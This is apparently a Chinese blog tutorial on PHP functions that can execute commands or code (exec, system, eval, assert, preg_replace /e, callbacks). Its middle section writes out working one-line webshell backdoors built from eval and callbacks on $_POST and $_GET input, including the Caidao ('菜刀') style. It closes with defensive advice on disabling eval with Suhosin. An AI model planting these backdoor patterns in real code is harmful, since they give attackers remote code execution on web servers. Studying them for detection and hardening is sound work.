
文章目录[隐藏]
一、PHP后门函数
1、命令执行函数
exec
适用范围:PHP 4, PHP 5, PHP 7 函数作用:执行一个外部程序,返回命令执行结果最后一行内容。
string exec ( string $command [, array &$output [, int &$return_var ]] )
<?php
echo exec('cd'); //D:\phpStudy\PHPTutorial\WWW
echo exec('ipconfig'); //. . . . . . . . . . . . . : 172.31.100.1
?>
shell_exec
适用范围:PHP 4, PHP 5, PHP 7 函数作用:通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
string shell_exec ( string $cmd
)
<?php
echo shell_exec('ipconfig'); //显示ipconfig命令全部内容
?>
passthru
适用范围:PHP 4, PHP 5, PHP 7 函数作用:执行外部程序并且显示原始输出(全部原始内容,不用输出)
void passthru ( string $command
[, int &$return_var
] )
<?php
passthru('ipconfig'); //显示ipconfig全部内容
?>
system
适用范围:PHP 4, PHP 5, PHP 7 函数作用:执行外部程序并且显示输出
string system ( string $command
[, int &$return_var
] )
<?php
echo system('ipconfig'); //显示ipconfig命令全部内容
?
当然还有其它执行系统命令的函数,如popen()、proc_open(),但这两个函数不返回命令执行结果。
2、PHP代码执行函数
eval
适用范围:PHP 4, PHP 5, PHP 7 函数作用:把字符串作为PHP代码执行
mixed eval ( string $code )
<?php
eval('phpinfo();');
?>
assert
适用范围:PHP 4, PHP 5, PHP 7 函数作用:检查一个断言是否为 FALSE
bool assert ( mixed $assertion [, string $description ] )
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
<?php
assert(phpinfo());
assert('print 123');
?>
preg_replace
适用范围:PHP 4, PHP 5, PHP 7 函数作用:执行一个正则表达式的搜索和替换
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码执行
<?php
preg_replace("//e","phpinfo()",""); //执行phpinfo()成功
?>
3、回调函数
解释:把函数作为参数传入进另一个函数中使用。
call_user_func
把第一个参数作为回调函数调用
call_user_func_array
调用回调函数,并把一个数组参数作为回调函数的参数
usort
使用用户自定义的比较函数对数组中的值进行排序
register_shutdown_function
<?php register_shutdown_function('assert','phpinfo();');?>
注册一个会在php中止时执行的函数
array_map
为数组的每个元素应用回调函数
array_walk
使用用户自定义函数对数组中的每个元素做回调处理
array_filter
用回调函数过滤数组中的单元
array_reduce
用回调函数迭代地将数组简化为单一的值
array_udiff
用回调函数比较数据来计算数组的差集
array_uintersect
计算数组的交集,用回调函数比较数据
array_diff_uassoc
用用户提供的回调函数做索引检查来计算数组的差集
array_diff_ukey
用回调函数对键名比较计算数组的差集
等等,其它含有回调函数的函数
二、后门构造
普通后门,通过各种方法构造动态函数:
<?php
@eval($_POS['admin']); //菜刀的后门
//稍微变形下的后门
$_GET['func']($_REQUEST['pass']);
$_GET['POST']($_POST['GET']);
......
?>
通过回调函数进行构造后门
<?php
call_user_func('assert', $_POS['pass']);
call_user_func_array('assert', array($_POST['pass']));
//数组回调进行构造后门
$arr=array($_POST['pass']);
array_filter($arr,'assert');
array_map('assert', $arr);
uasort($arr, 'assert');
//等等,用回调函数进行构造
php的eval函数并不是系统组件函数,因此我们在php.ini中使用disable_functions是无法禁止它的。
但是eval()对于php安全来说具有很大的杀伤力,因此一般不用的情况下为了防止类似如下的一句话木马入侵,需要禁止!
<?php eval($_POS[cmd]);?>
eval()使用范例:
<?php
$string = '杯子';
$name = '咖啡';
$str = '这个 $string 中装有 $name.<br>';
echo $str;
eval( "$str = "$str";" );
echo $str;
?>
本例的传回值为:
这个 $string 中装有 $name.
这个 杯子 中装有 咖啡.
或更高级点的是:
<?php
$str="hello world"; //比如这个是元算结果
$code= "print('n$strn');";//这个是保存在数据库内的php代码
echo($code);//打印组合后的命令,str字符串被替代了,形成一个完整的php命令,但并是不会执行
eval($code);//执行了这条命令
?>
对于上面的咖啡的例子,在eval里面,首先字符串被替换了,其次替换完后形成一个完整的赋值命令被执行了.
这类小马砸门的情况是需要禁止掉的!
然而网上很多说使用disable_functions禁止掉eval的方法都是错误的!
其实eval()是无法用php.ini中的disable_functions禁止掉的 :
because eval() is a language construct and not a function
eval是zend的,因此不是PHP_FUNCTION 函数;
那么php怎么禁止eval呢?
如果想禁掉eval可以用php的扩展 Suhosin:
安装Suhosin后在php.ini中load进来Suhosin.so,再加上suhosin.executor.disable_eval = on即可!
聚合全网优质资源,尽在小彬子的资源站!全站优品,只为传递价值
本站资源均源自互联网,由小彬子收集整理,如果侵犯了您的合法权益,请联系本站2818929499@qq.com我们会及时删除。部分作品由小彬子进行二次创作修改,转载请注明!
本站资源仅供研究、学习交流之用,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担。

评论抢沙发